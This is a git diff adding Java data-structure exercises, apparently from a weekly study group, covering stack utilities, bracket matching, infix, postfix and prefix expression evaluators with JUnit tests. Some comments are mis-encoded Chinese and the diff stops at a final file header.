diff --git a/group23/632678665/com/basic/week5/stack/StackUtil.java b/group23/632678665/com/basic/week5/stack/StackUtil.java
new file mode 100644
index 0000000000..7b750b3549
--- /dev/null
+++ b/group23/632678665/com/basic/week5/stack/StackUtil.java
@@ -0,0 +1,103 @@
+package com.coding.week5.stack;
+
+import com.coding.weak1.Stack;
+
+public class StackUtil {
+	
+	
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static void reverse(Stack s) {
+		Stack stack = new Stack();
+		Stack stack1 = new Stack();
+		while (!s.isEmpty()) {
+			stack.push(s.pop());
+		}
+		while (!stack.isEmpty()) {
+			stack1.push(stack.pop());
+		}
+		while (!stack1.isEmpty()) {
+			s.push(stack1.pop());
+		}
+	}
+
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * 
+	 * @param o
+	 */
+	public static void remove(Stack s,Object o) {
+		Stack stack = new Stack();
+		while (!s.isEmpty()){
+			Object o1 = s.pop();
+			if (!o.equals(o1)) {
+				stack.push(o1);
+			}
+		}
+		while (!stack.isEmpty()) {
+			s.push(stack.pop());
+		}
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param len
+	 * @return
+	 */
+	public static Object[] getTop(Stack s,int len) {
+		if (len > s.size() || len <= 0) {
+			throw new IllegalArgumentException(len+"");
+		}
+
+		Object[] objects = new Object[len];
+		for (int i = 0; i < len; i++) {
+			objects[i] = s.pop();
+		}
+		for (int i = len - 1; i >= 0 ; i--) {
+			s.push(objects[i]);
+		}
+		return objects;
+	}
+	/**
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s){
+		Stack stack = new Stack();
+		char[] chars = s.toCharArray();
+		for (char c : chars) {
+			if (c == '(' || c == '{' || c == '[') {
+				stack.push(c);
+			} else if (c == ')' || c == '}' || c == ']'){
+				if (stack.isEmpty()) {
+					return false;
+				}
+				if (!isPair((char)stack.pop(), c)){
+					return false;
+				}
+			}
+		}
+		return stack.isEmpty();
+	}
+
+	private static boolean isPair(char left, char right) {
+		switch (left) {
+			case '{':
+				return right == '}';
+			case '[':
+				return right == ']';
+			case '(':
+				return right == ')';
+			default:
+				return false;
+		}
+	}
+	
+}
diff --git a/group23/632678665/com/basic/week6/expr/InfixExpr.java b/group23/632678665/com/basic/week6/expr/InfixExpr.java
new file mode 100644
index 0000000000..34c1b15123
--- /dev/null
+++ b/group23/632678665/com/basic/week6/expr/InfixExpr.java
@@ -0,0 +1,127 @@
+package com.coding.week6.expr;
+
+import com.coding.weak1.Stack;
+
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+
+public class InfixExpr {
+	String expr = null;
+	private Stack numberStack;
+	private Stack operatorStack;
+	private List<Token> tokens;
+	public InfixExpr(String expr) {
+		this.expr = expr;
+		this.numberStack = new Stack();
+		this.operatorStack = new Stack();
+		tokens = new ArrayList<>();
+	}
+
+
+	public float evaluate() {
+		fillStack();
+		while (!operatorStack.isEmpty()) {
+			char symbol = (char) operatorStack.pop();
+			float operTop1 = (float) numberStack.pop();
+			float operTop2 = (float) numberStack.pop();
+			numberStack.push(caculate(symbol, operTop2, operTop1));
+		}
+		return (float)numberStack.pop();
+	}
+
+	public void parseTokens() {
+		char[] chars = expr.toCharArray();
+		for (int i = 0; i < chars.length; i++) {
+			char c = chars[i];
+			if (Token.isOperator(c)) {
+				Token token = new Token(c+"");
+				tokens.add(token);
+			} else {
+				String t = "";
+				while (Token.isDigit(c)){
+					t += c;
+					i++;
+					if (i == chars.length)
+						break;
+					c = chars[i];
+				}
+				Token token = new Token(t);
+				tokens.add(token);
+				i--;
+			}
+		}
+	}
+
+
+	public void fillStack() {
+		parseTokens();
+		Iterator<Token> iterator = tokens.iterator();
+		while (iterator.hasNext()) {
+			Token token = iterator.next();
+			if (token.isNumber()) {
+				numberStack.push((float)token.parseInt());
+				continue;
+			}
+			if (token.isOperator()) {
+				char operator = token.parseOperator();
+				if (operatorStack.isEmpty()) {
+					operatorStack.push(operator);
+				}else {
+					char topSymbol = (char)operatorStack.peek();
+					if (compare(operator, topSymbol) > 0) {
+						operatorStack.push(operator);
+					} else {
+						float operTop1 = (float) numberStack.pop();
+						float operTop2 = (float) numberStack.pop();
+						numberStack.push(caculate(topSymbol, operTop2, operTop1));
+						operatorStack.pop();
+						operatorStack.push(operator);
+					}
+				}
+			}
+
+		}
+	}
+
+
+	private float caculate(char symbol, float oper1, float oper2) {
+		if ('*' == symbol)
+			return oper1 * oper2;
+		else if ('/' == symbol)
+			return oper1 / oper2;
+		else if ('+' == symbol)
+			return oper1 + oper2;
+		else if ('-' == symbol)
+			return oper1 - oper2;
+		else
+			throw new RuntimeException("this operation has not implement");
+	}
+
+	public int compare(char opertor1, char opertor2) {
+		if (!Token.isOperator(opertor1) )
+			throw new IllegalArgumentException(opertor1 + "is not supported opertor");
+		if (!Token.isOperator(opertor2))
+			throw new IllegalArgumentException(opertor2 + "is not supported opertor");
+		if (Token.isAddOrSub(opertor1)) {
+			if (Token.isAddOrSub(opertor2))
+				return 0;
+			else
+				return -1;
+		}
+		else {
+			if (Token.isAddOrSub(opertor2))
+				return 1;
+			else
+				return 0;
+		}
+	}
+
+	public String printNumberStack() {
+		return numberStack.toString();
+	}
+
+	public String printOperatorStack() {
+		return operatorStack.toString();
+	}
+}
diff --git a/group23/632678665/com/basic/week6/expr/Token.java b/group23/632678665/com/basic/week6/expr/Token.java
new file mode 100644
index 0000000000..b58aa36968
--- /dev/null
+++ b/group23/632678665/com/basic/week6/expr/Token.java
@@ -0,0 +1,52 @@
+package com.coding.week6.expr;
+
+/**
+ * Created by Administrator on 2017/4/16 0016.
+ */
+public class Token {
+
+    private String symbol;
+
+    public Token(String symbol) {
+        this.symbol = symbol;
+    }
+
+    public boolean isNumber() {
+        return symbol.matches("^\\d+$");
+    }
+
+
+    public boolean isOperator() {
+        return symbol.matches("^[\\+|\\*|\\-|\\/]$");
+    }
+
+    public int parseInt() {
+        return Integer.valueOf(symbol);
+    }
+
+    public char parseOperator() {
+        return symbol.charAt(0);
+    }
+
+
+    public static boolean isOperator(char c) {
+        return isAddOrSub(c) || isMulityOrDivide(c);
+    }
+
+    public static boolean isAddOrSub(char c) {
+        return c == '+' || c == '-';
+    }
+
+    public static boolean isMulityOrDivide(char c) {
+        return c == '/' || c == '*';
+    }
+
+    public static boolean isDigit(char c) {
+        return  c >= '0' && c <= '9';
+    }
+
+    @Override
+    public String toString(){
+        return symbol;
+    }
+}
diff --git a/group23/632678665/com/basic/week6/exprNew/InfixExpr.java b/group23/632678665/com/basic/week6/exprNew/InfixExpr.java
new file mode 100644
index 0000000000..3962b49fce
--- /dev/null
+++ b/group23/632678665/com/basic/week6/exprNew/InfixExpr.java
@@ -0,0 +1,57 @@
+package com.coding.week6.exprNew;
+
+import com.coding.weak1.Stack;
+
+import java.util.List;
+
+public class InfixExpr {
+	String expr = null;
+
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+
+	public float evaluate() {
+
+		Stack operatorStack = new Stack();
+		Stack numberStack = new Stack();
+		fillStack(numberStack, operatorStack);
+		while (!operatorStack.isEmpty()) {
+			Operator symbol = (Operator) operatorStack.pop();
+			float operTop1 = (float) numberStack.pop();
+			float operTop2 = (float) numberStack.pop();
+			numberStack.push(symbol.apply(operTop2, operTop1));
+		}
+		return (float)numberStack.pop();
+	}
+
+	public void fillStack(Stack numberStack, Stack operatorStack) {
+		TokenParser tokenParser = new TokenParser();
+		List<Token> tokens = tokenParser.parse(expr);
+		for (Token token : tokens) {
+			if (token.isNumber()) {
+				numberStack.push(token.getFloatValue());
+			}
+			else if (token.isOperator()) {
+				Operator o = token.getOperator();
+				if (operatorStack.isEmpty()) {
+					operatorStack.push(o);
+				}else {
+					Operator top = (Operator)operatorStack.peek();
+					if (o.hasHigherPriority(top)) {
+						operatorStack.push(o);
+					} else {
+						float operTop1 = (float) numberStack.pop();
+						float operTop2 = (float) numberStack.pop();
+						numberStack.push(top.apply(operTop2, operTop1));
+						operatorStack.pop();
+						operatorStack.push(o);
+					}
+				}
+			}
+
+		}
+	}
+
+}
diff --git a/group23/632678665/com/basic/week6/exprNew/Operator.java b/group23/632678665/com/basic/week6/exprNew/Operator.java
new file mode 100644
index 0000000000..f6b4681e46
--- /dev/null
+++ b/group23/632678665/com/basic/week6/exprNew/Operator.java
@@ -0,0 +1,75 @@
+package com.coding.week6.exprNew;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Created by Administrator on 2017/4/22 0022.
+ */
+public enum Operator {
+    ADD("+", 1) {
+        public float apply(float x, float y){
+            return x + y;
+        }
+    },
+
+    SUB("-", 1) {
+        @Override
+        public float apply(float x, float y) {
+            return x - y;
+        }
+    },
+
+    MULT("*", 2) {
+        @Override
+        public float apply(float x, float y) {
+            return x * y;
+        }
+    },
+
+    DIVI("/", 2) {
+        @Override
+        public float apply(float x, float y) {
+            return x / y;
+        }
+    };
+    private String symbol;
+    private int    priority;
+
+    Operator(String symbol, int priority) {
+        this.symbol = symbol;
+        this.priority = priority;
+    }
+
+    public boolean hasHigherPriority(Operator o) {
+        return this.priority > o.priority;
+    }
+
+    public String symbol() {
+        return symbol;
+    }
+
+    public static List<String> symbols() {
+        List<String> symbos = new ArrayList<>();
+        for (Operator o : Operator.values()) {
+            symbos.add(o.symbol);
+        }
+        return symbos;
+    }
+
+    public abstract float apply(float x, float y);
+
+    private static final Map<String, Operator> map = new HashMap<String, Operator>();
+
+    static {
+        for (Operator o : Operator.values()) {
+            map.put(o.symbol, o);
+        }
+    }
+
+    public static Map<String, Operator> getOperatorMap() {
+        return map;
+    }
+}
diff --git a/group23/632678665/com/basic/week6/exprNew/Token.java b/group23/632678665/com/basic/week6/exprNew/Token.java
new file mode 100644
index 0000000000..c925a22705
--- /dev/null
+++ b/group23/632678665/com/basic/week6/exprNew/Token.java
@@ -0,0 +1,63 @@
+package com.coding.week6.exprNew;
+
+/**
+ * Created by Administrator on 2017/4/22 0022.
+ */
+public class Token {
+
+    private int    type;
+    private String value;
+
+    static final int NUMBER   = 1;
+    static final int OPERATOR = 2;
+    static final int LEFT_BRACKET  = 3;
+    static final int RIGHT_BRACKET  = 4;
+    public Token(int type, String value) {
+        this.type = type;
+        this.value = value;
+    }
+
+
+    public boolean isNumber(){
+        return type == NUMBER;
+    }
+
+    public boolean isOperator(){
+        return type == OPERATOR;
+    }
+
+    public boolean isLeftBracket() {
+        return type == LEFT_BRACKET;
+    }
+
+    public boolean isRightBracket() {
+        return type == RIGHT_BRACKET;
+    }
+
+    public float getFloatValue() {
+        if (isNumber())
+            return Integer.valueOf(value);
+        else
+            throw new RuntimeException("not a number");
+    }
+
+    public String toString() {
+        return value;
+    }
+
+
+    public Operator getOperator() {
+        if (isOperator()) {
+            return Operator.getOperatorMap().get(value);
+        } else {
+            throw new RuntimeException("not a operator");
+        }
+    }
+
+
+    public String getValue() {
+        return value;
+    }
+
+
+}
diff --git a/group23/632678665/com/basic/week6/exprNew/TokenParser.java b/group23/632678665/com/basic/week6/exprNew/TokenParser.java
new file mode 100644
index 0000000000..52757dc0c7
--- /dev/null
+++ b/group23/632678665/com/basic/week6/exprNew/TokenParser.java
@@ -0,0 +1,60 @@
+package com.coding.week6.exprNew;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by Administrator on 2017/4/22 0022.
+ */
+public class TokenParser {
+
+    private static List<String> operators = Operator.symbols();
+    public List<Token> parse(String expr) {
+        List<Token> tokens = new ArrayList<>();
+        int i = 0;
+        while (i < expr.length()) {
+            char c = expr.charAt(i);
+            Token token;
+            if (Character.isDigit(c)) {
+                int nextOperIndex = getNextOperIndex(i, expr);
+                String n = expr.substring(i, nextOperIndex);
+                token = new Token(Token.NUMBER, n);
+                tokens.add(token);
+                i = nextOperIndex;
+            } else if (isOperator(c)) {
+                token = new Token(Token.OPERATOR, c+"");
+                tokens.add(token);
+                i++;
+            } else if (String.valueOf(c).matches("\\s")){
+                i++;
+            } else if (c == '(') {
+                token = new Token(Token.LEFT_BRACKET, String.valueOf(c));
+                tokens.add(token);
+                i++;
+            } else if (c == ')') {
+                token = new Token(Token.RIGHT_BRACKET, String.valueOf(c));
+                tokens.add(token);
+                i++;
+            } else {
+                throw new RuntimeException(c +" is not number or support operator");
+            }
+        }
+        return tokens;
+    }
+
+    private int getNextOperIndex(int i, String expr) {
+        while (Character.isDigit(expr.charAt(i))) {
+            i++;
+            if (i == expr.length()) {
+                break;
+            }
+        }
+        return i;
+    }
+
+    private boolean isOperator(char c) {
+      return  operators.contains(String.valueOf(c));
+    }
+
+
+}
diff --git a/group23/632678665/com/basic/week7/stack/MyStack.java b/group23/632678665/com/basic/week7/stack/MyStack.java
new file mode 100644
index 0000000000..9a8bf42296
--- /dev/null
+++ b/group23/632678665/com/basic/week7/stack/MyStack.java
@@ -0,0 +1,42 @@
+package com.ralf.stack;
+
+import java.util.LinkedList;
+import java.util.NoSuchElementException;
+
+/**
+ * ʵ�ֻ������ݽṹջ
+ * 
+ * @author chk
+ * 
+ */
+public class MyStack<T> {
+
+	private LinkedList<T> linkedList = new LinkedList<>();
+
+	public MyStack() {
+
+	}
+
+	public void push(T t) {
+		linkedList.addFirst(t);
+	}
+
+	public T pop() {
+		if (size() == 0) {
+			throw new NoSuchElementException();
+		}
+		return linkedList.removeFirst();
+	}
+
+	public T peek() {
+		return (size() == 0) ? null : linkedList.getFirst();
+	}
+
+	public int size() {
+		return linkedList.size();
+	}
+
+	public boolean isEmpty(){
+		return linkedList.isEmpty();
+	}
+}
diff --git a/group23/632678665/com/basic/week7/stack/StackUtil.java b/group23/632678665/com/basic/week7/stack/StackUtil.java
new file mode 100644
index 0000000000..758178131c
--- /dev/null
+++ b/group23/632678665/com/basic/week7/stack/StackUtil.java
@@ -0,0 +1,173 @@
+package com.ralf.stack;
+
+import java.util.NoSuchElementException;
+
+public class StackUtil {
+
+	private static MyStack myStack = new MyStack<>();
+
+	/**
+	 * ����ջ�е�Ԫ����Integer, ��ջ����ջ���� : 5,4,3,2,1 ���ø÷����� Ԫ�ش����Ϊ: 1,2,3,4,5
+	 * ע�⣺ֻ��ʹ��Stack�Ļ�����������push,pop,peek,isEmpty�� ����ʹ������һ��ջ������
+	 * 
+	 * @param <T>
+	 */
+	public static <T> void reverse(MyStack<T> stack) {
+
+		if (stack.isEmpty()) {
+			System.out.println("��ջΪ��ջ��");
+			return;
+		}
+		@SuppressWarnings("unchecked")
+		T[] elements = (T[]) new Object[stack.size()];
+		for (int i = 0; i < elements.length; i++) {
+			elements[i] = stack.pop();
+		}
+		for (int i = 0; i < elements.length; i++) {
+			stack.push(elements[i]);
+		}
+
+	}
+	
+	public static void bad_reverse(MyStack<Integer> s) {
+		if(s == null || s.isEmpty()){
+			return;
+		}
+		MyStack<Integer> tmpStack = new MyStack<>();
+		while(!s.isEmpty()){
+			tmpStack.push(s.pop());
+		}
+		
+		s = tmpStack;
+		
+	}
+	
+
+	/**
+	 * ɾ��ջ�е�ij��Ԫ�� ע�⣺ֻ��ʹ��Stack�Ļ�����������push,pop,peek,isEmpty�� ����ʹ������һ��ջ������
+	 * 
+	 * @param o
+	 */
+	public static <T> void remove(MyStack<T> s, T o) {
+		if (s.isEmpty()) {
+			System.out.println("��ջΪ�գ�");
+			return;
+		}
+		MyStack<T> stack = new MyStack<>();
+
+		while (!s.isEmpty()) {
+			T t = s.pop();
+			if (t.equals(o)) {
+				PopAndPush(s, stack);
+				return;
+			}
+			stack.push(t);
+		}
+		throw new NoSuchElementException("��ջû�и�Ԫ�أ�");
+
+	}
+
+	private static <T> void PopAndPush(MyStack<T> s, MyStack<T> stack) {
+		while (!stack.isEmpty()) {
+			T t = stack.pop();
+			s.push(t);
+		}
+	}
+
+	/**
+	 * ��ջ��ȡ��len��Ԫ��, ԭ����ջ��Ԫ�ر��ֲ��� ע�⣺ֻ��ʹ��Stack�Ļ�����������push,pop,peek,isEmpty��
+	 * ����ʹ������һ��ջ������
+	 * 
+	 * @param len
+	 * @return
+	 */
+	@SuppressWarnings("unchecked")
+	public static <T> T[] getTop(MyStack<T> s, int len) {
+
+		if (s.isEmpty() || len > s.size()) {
+			return null;
+		}
+		MyStack<T> oldStack = s;
+		T[] elements = (T[]) new Object[len];
+		for (int i = 0; i < len; i++) {
+			elements[i] = s.pop();
+		}
+		s = oldStack;
+		return elements;
+	}
+
+	/**
+	 * �ַ���s ���ܰ�����Щ�ַ��� ( ) [ ] { }, a,b,c... x,yz ʹ�ö�ջ����ַ���s�е������Dz��dzɶԳ��ֵġ� ����s =
+	 * "([e{d}f])" , ����ַ����е������dzɶԳ��֣� �÷�������true ��� s = "([b{x]y})",
+	 * ����ַ����е����Ų��dzɶԳ��ֵģ� �÷�������false;
+	 * 
+	 * @param s
+	 * @return
+	 */
+	public static <T> boolean isValidPairs(String s) {
+
+		char[] ch = s.toCharArray();
+		if (ch.length < 1) {
+			return false;
+		}
+
+		MyStack<String> leftStack = new MyStack<>();
+		MyStack<String> rightStack = new MyStack<>();
+
+		for (int i = 0; i < ch.length; i++) {
+
+			switch (ch[i]) {
+			case '(':
+				leftStack.push(String.valueOf(ch[i]));
+				break;
+
+			case '[':
+				leftStack.push(String.valueOf(ch[i]));
+				break;
+
+			case '{':
+				leftStack.push(String.valueOf(ch[i]));
+				break;
+
+			case ')':
+				rightStack.push(String.valueOf(ch[i]));
+				break;
+
+			case ']':
+				rightStack.push(String.valueOf(ch[i]));
+				break;
+
+			case '}':
+				rightStack.push(String.valueOf(ch[i]));
+				break;
+
+			default:
+				break;
+			}
+		}
+		return isPair(leftStack, rightStack);
+
+	}
+
+	private static boolean isPair(MyStack<String> leftStack,
+			MyStack<String> rightStack) {
+
+		if (leftStack.size() != rightStack.size()) {
+			return false;
+		}
+
+		reverse(rightStack);
+		while (!leftStack.isEmpty()) {
+
+			StringBuilder stringBuilder = new StringBuilder();
+			stringBuilder.append(leftStack.pop()).append(rightStack.pop());
+
+			String pair = stringBuilder.toString();
+			if (!pair.equals("()") && !pair.equals("[]") && !pair.equals("{}")) {
+				return false;
+			}
+		}
+		return true;
+	}
+
+}
diff --git a/group23/632678665/com/basic/week7/stack/expr/ExprIterator.java b/group23/632678665/com/basic/week7/stack/expr/ExprIterator.java
new file mode 100644
index 0000000000..d82db3e915
--- /dev/null
+++ b/group23/632678665/com/basic/week7/stack/expr/ExprIterator.java
@@ -0,0 +1,57 @@
+package com.ralf.stack.expr;
+
+import java.util.ArrayList;
+
+public class ExprIterator {
+
+	private int operPos;
+	private int numPos;
+	private ArrayList<String> operateList = new ArrayList<>();
+	private ArrayList<String> numList = new ArrayList<>();
+
+	public ExprIterator(String exprString) {
+		char[] chs = exprString.toCharArray();
+		transToString(chs);
+	}
+
+	public Integer nextNumString() {
+		if (hasNextNum()) {
+			return Integer.parseInt(numList.get(numPos++));
+		}
+		return null;
+	}
+	public String nextOperateString() {
+		if (hasNextOperate()) {
+			return operateList.get(operPos++);
+		}
+		return null;
+	}
+
+	public boolean hasNextNum() {
+		return numPos < numList.size();
+	}
+	
+	public boolean hasNextOperate() {
+		return operPos < operateList.size();
+	}
+
+	private void transToString(char[] chs) {
+
+		StringBuilder stringBuilder = new StringBuilder();
+		
+		for (int i = 0; i < chs.length; i++) {
+			if (chs[i] == '+' || chs[i] == '-' || chs[i] == '*'
+					|| chs[i] == '/') {
+				numList.add(stringBuilder.toString());
+				operateList.add(String.valueOf(chs[i]));
+				stringBuilder.delete(0, stringBuilder.length());
+			}
+			else {
+				stringBuilder.append(chs[i]);
+			}
+			
+		}
+		numList.add(stringBuilder.toString());
+	}
+
+}
diff --git a/group23/632678665/com/basic/week7/stack/expr/InfixExpr.java b/group23/632678665/com/basic/week7/stack/expr/InfixExpr.java
new file mode 100644
index 0000000000..86a060845c
--- /dev/null
+++ b/group23/632678665/com/basic/week7/stack/expr/InfixExpr.java
@@ -0,0 +1,74 @@
+package com.ralf.stack.expr;
+
+import java.util.List;
+
+import com.ralf.stack.MyStack;
+
+public class InfixExpr {
+
+	private String exprString;
+
+	public InfixExpr(String exprString) {
+		this.exprString = exprString;
+	}
+
+	public double evaluate() {
+
+		MyStack<Float> numStack = new MyStack<Float>();
+		MyStack<Token> operStack = new MyStack<>();
+		TokenParser parser = new TokenParser();
+
+		List<Token> list = parser.parse(exprString);
+
+		for (Token token : list) {
+			if (token.isOperator()) {
+				if (operStack.isEmpty()) {
+					operStack.push(token);
+				} else {
+					while (!operStack.isEmpty()
+							&& !token.hasHigherPriority(operStack.peek())) {
+						String operator = operStack.pop().toString();
+						Float num1 = numStack.pop();
+						Float num2 = numStack.pop();
+						Float result = operate(operator,num1,num2);
+						numStack.push(result);
+					}
+					operStack.push(token);
+				}
+			}
+			if (token.isNumber()) {
+				numStack.push(new Float(token.getValue()));
+			}
+		}
+		
+		while(!operStack.isEmpty()){
+			String operator = operStack.pop().toString();
+			Float num1 = numStack.pop();
+			Float num2 = numStack.pop();
+			Float result = operate(operator,num1,num2);
+			numStack.push(result);
+		}
+
+		return numStack.pop().floatValue();
+	}
+
+	private Float operate(String operator,Float num1, Float num2) {
+		float result = 0.0f;
+		switch (operator) {
+		case "+":
+			result = num2 + num1;
+			break;
+		case "-":
+			result = num2 - num1;
+			break;
+		case "*":
+			result = num2 * num1;
+			break;
+		case "/":
+			result = num2 / num1;
+			break;
+		}
+		return result;
+	}
+
+}
diff --git a/group23/632678665/com/basic/week7/stack/expr/InfixToPostExpr.java b/group23/632678665/com/basic/week7/stack/expr/InfixToPostExpr.java
new file mode 100644
index 0000000000..6296d160ef
--- /dev/null
+++ b/group23/632678665/com/basic/week7/stack/expr/InfixToPostExpr.java
@@ -0,0 +1,41 @@
+package com.ralf.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.ralf.stack.MyStack;
+import com.ralf.stack.StackUtil;
+
+public class InfixToPostExpr {
+
+	public static List<Token> convert(String infixString){
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(infixString);
+		
+		MyStack<Token> S1 = new MyStack<Token>();
+		MyStack<Token> S2 = new MyStack<>();
+		
+		
+		for(Token token : tokens){
+			if (token.isNumber()) {
+				S2.push(token);
+			}
+			else{
+				while(!S1.isEmpty() && !token.hasHigherPriority(S1.peek())) {
+					S2.push(S1.pop());
+				}
+				S1.push(token);
+			}
+		}
+		while(!S1.isEmpty()){
+			S2.push(S1.pop());
+		}
+		ArrayList<Token> list = new ArrayList<>();
+		StackUtil.reverse(S2);
+		while(!S2.isEmpty()){
+			list.add(S2.pop());
+		}
+		return list;
+	}
+}
diff --git a/group23/632678665/com/basic/week7/stack/expr/InfixToPostExprTest.java b/group23/632678665/com/basic/week7/stack/expr/InfixToPostExprTest.java
new file mode 100644
index 0000000000..d21344ea1e
--- /dev/null
+++ b/group23/632678665/com/basic/week7/stack/expr/InfixToPostExprTest.java
@@ -0,0 +1,30 @@
+package com.ralf.stack.expr;
+
+import java.util.List;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class InfixToPostExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		//10-2*3+50
+		String string = "10-2*3+50";
+		List<Token> tokens = InfixToPostExpr.convert(string);
+		
+		Assert.assertEquals(10, tokens.get(0).getValue());
+		Assert.assertEquals(2, tokens.get(1).getValue());
+		Assert.assertEquals(3, tokens.get(2).getValue());
+		Assert.assertEquals("*", tokens.get(3).toString());
+		Assert.assertEquals("-", tokens.get(4).toString());
+		Assert.assertEquals(50, tokens.get(5).getValue());
+		Assert.assertEquals("+", tokens.get(6).toString());
+	}
+
+}
diff --git a/group23/632678665/com/basic/week7/stack/expr/PostfixExpr.java b/group23/632678665/com/basic/week7/stack/expr/PostfixExpr.java
new file mode 100644
index 0000000000..6e40dbe72f
--- /dev/null
+++ b/group23/632678665/com/basic/week7/stack/expr/PostfixExpr.java
@@ -0,0 +1,48 @@
+package com.ralf.stack.expr;
+
+import java.util.List;
+
+import com.ralf.stack.MyStack;
+
+public class PostfixExpr {
+	
+	private String exprString;
+	
+	public PostfixExpr(String exprString){
+		this.exprString = exprString;
+	}
+
+	public float evaluate() {
+		MyStack<Float> myStack = new MyStack<>();
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(exprString);
+		for(Token token : tokens){
+			if (token.isNumber()) {
+				myStack.push(new Float(token.getValue()));
+			}
+			if (token.isOperator()) {
+				float f2 = myStack.pop();
+				float f1 = myStack.pop();
+				myStack.push(calculate(token.toString(), f1, f2));
+			}
+		}
+		return myStack.pop().floatValue();
+	}
+	
+	private Float calculate(String op, Float f1, Float f2){
+		if(op.equals("+")){
+			return f1+f2;
+		}
+		if(op.equals("-")){
+			return f1-f2;
+		}
+		if(op.equals("*")){
+			return f1*f2;
+		}
+		if(op.equals("/")){
+			return f1/f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
+
+}
diff --git a/group23/632678665/com/basic/week7/stack/expr/PostfixExprTest.java b/group23/632678665/com/basic/week7/stack/expr/PostfixExprTest.java
new file mode 100644
index 0000000000..d5ff875c0f
--- /dev/null
+++ b/group23/632678665/com/basic/week7/stack/expr/PostfixExprTest.java
@@ -0,0 +1,34 @@
+package com.ralf.stack.expr;
+
+import static org.junit.Assert.*;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+
+}
diff --git a/group23/632678665/com/basic/week7/stack/expr/PrefixExpr.java b/group23/632678665/com/basic/week7/stack/expr/PrefixExpr.java
new file mode 100644
index 0000000000..651889259e
--- /dev/null
+++ b/group23/632678665/com/basic/week7/stack/expr/PrefixExpr.java
@@ -0,0 +1,59 @@
+package com.ralf.stack.expr;
+
+import java.util.List;
+
+import com.ralf.stack.MyStack;
+
+public class PrefixExpr {
+
+	private String exprString;
+	
+	public PrefixExpr(String exprString) {
+		this.exprString = exprString;
+	}
+
+	public float evaluate() {
+		
+		MyStack<Float> myStack = new MyStack<>();
+		MyStack<Token> exprStack = new MyStack<>();
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(exprString);
+		
+		for(Token token : tokens){
+			exprStack.push(token);
+		}
+		
+		while(!exprStack.isEmpty()){
+			Token token = exprStack.pop();
+			if (token.isNumber()) {
+				myStack.push(new Float(token.getValue()));
+			}
+			else {
+				Float f1 = myStack.pop();
+				Float f2 = myStack.pop();
+				myStack.push(calculate(token.toString(),f1,f2));
+			}
+		}
+		return myStack.pop().floatValue();
+	}
+
+	private Float calculate(String operator, Float f1, Float f2) {
+		if ("+".equals(operator)) {
+			return f1 + f2;
+		}
+		if ("-".equals(operator)) {
+			return f1 - f2;
+		}
+		if ("*".equals(operator)) {
+			return f1 * f2;
+		}
+		if ("/".equals(operator)) {
+			return f1 / f2;
+		}
+		else {
+			throw new RuntimeException("this operator is not supported!");
+		}
+		
+	}
+
+}
diff --git a/group23/632678665/com/basic/week7/stack/expr/PrefixExprTest.java b/group23/632678665/com/basic/week7/stack/expr/PrefixExprTest.java
new file mode 100644
index 0000000000..ff11cc2395
--- /dev/null
+++ b/group23/632678665/com/basic/week7/stack/expr/PrefixExprTest.java
@@ -0,0 +1,39 @@
+package com.ralf.stack.expr;
+
+import static org.junit.Assert.*;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class PrefixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+		}
+	}
+
+}
diff --git a/group23/632678665/com/basic/week7/stack/expr/Token.java b/group23/632678665/com/basic/week7/stack/expr/Token.java
new file mode 100644
index 0000000000..1696dafbef
